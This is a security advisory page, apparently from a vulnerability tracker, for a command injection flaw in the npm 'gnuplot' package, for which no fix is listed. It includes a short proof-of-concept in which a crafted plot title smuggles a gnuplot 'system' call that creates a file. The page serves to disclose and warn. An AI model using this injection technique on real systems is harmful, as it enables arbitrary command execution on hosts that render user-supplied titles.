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TI-2020-19941 Aliases GHSA-cfwc-xjfp-44jg

Command Injection in gnuplot

Priority LOW 38CWE-77Published · Updated

Key facts

Attack vector
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Privileges required
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User interaction
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Attack complexity
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Impact type
Code execution
Confidentiality · integrity · availability
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Fix status
No fix listed

No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-77.

Summary

All versions of `gnuplot` are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a `testing` file in the current directory: ``` var gnuplot = require('gnuplot'); const title = '"\nset title system("touch testing")\n#'; gnuplot() .set('term png') .set('output "out.png"') .set(`title "${title}"`) .set('xrange [-10:10]') .set('yrange [-2:2]') .set('zeroaxis') .plot('(x/4)**2, sin(x), 1/x') .end(); ``` ## Recommendation No fix is currently available. Consider using an alternative package until a fix is made available.

Why it matters now

Fix No fix listed No fixed version in the sources yet

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—gnuplot (npm)0.0.0 and later—No fix listedGHSA-cfwc-xjfp-44jg
  • gnuplot (npm) Vendor— Affected 0.0.0 and later Fixed in — No fix listed GHSA-cfwc-xjfp-44jg

Remediation

No fixed version listed by the sources yet.

Timeline

  1. 2026-10-03 Threatist record created from GHSA-cfwc-xjfp-44jg

References

Sources

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